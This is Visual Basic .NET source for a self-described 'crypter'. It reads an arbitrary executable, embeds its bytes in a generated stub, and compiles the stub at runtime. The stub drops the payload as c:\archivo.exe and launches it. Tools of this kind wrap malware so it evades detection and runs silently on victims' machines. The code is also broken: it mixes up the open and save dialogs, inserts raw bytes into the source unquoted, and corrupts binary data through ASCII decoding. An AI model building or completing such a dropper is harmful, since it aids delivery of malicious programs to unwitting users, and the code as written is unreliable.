Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim open = OpenFileDialog1
open.Filter = "Executables *.exe|*.exe"
Dim save = OpenFileDialog1
save.Filter = "Executables *.exe|*.exe"        

open.ShowDialog()
Save.ShowDialog()

        Dim st As System.IO.Stream = System.IO.File.Open(open.FileName, _
   System.IO.FileMode.Open, System.IO.FileAccess.Read)

     Dim br As New System.IO.BinaryReader(st)
     Dim read() As Byte = br.ReadBytes(st.Length)

        br.Close()
        st.Close()

Dim source As String = My.Resources.source  

Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
Dim cadena As String = enc.GetString(read)
        source = source.Replace("%3%", cadena)

        iCompiler.GenerateExecutable(SaveFileDialog1.FileName, source, "") 
       
 MsgBox("Crypted!", MsgBoxStyle.Information, "Success!")
        End

    End Sub
End Class

Imports System.CodeDom.Compiler
Public Class iCompiler
    Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Icon As String)
        'On Error Resume Next

        Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
        Dim Parameters As New CompilerParameters()
        Dim cResults As CompilerResults

        Parameters.GenerateExecutable = True
        Parameters.OutputAssembly = Output
        Parameters.ReferencedAssemblies.Add("System.dll")
        Parameters.ReferencedAssemblies.Add("System.Data.dll")
        Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")


        Dim Version = New Dictionary(Of String, String)
        Version.Add("CompilerVersion", "v2.0")

        Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"

        If Icon <> "" Then
            IO.File.Copy(Icon, ICO)
            Parameters.CompilerOptions &= " /win32icon:" & ICO
        End If

        cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

        If cResults.Errors.Count > 0 Then
        ElseIf cResults.Errors.Count = 0 Then

        End If
        If Icon <> "" Then : IO.File.Delete(ICO) : End If
    End Sub
End Class

Imports System, Microsoft.VisualBasic
Module uno
    Sub Main()
        Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
        Dim bytess() As Byte = enc.GetBytes(%3%)


        IO.File.WriteAllBytes("c:\archivo.exe", bytess)
        Call Shell( "c:\archivo.exe")
        End
    End Sub

End Module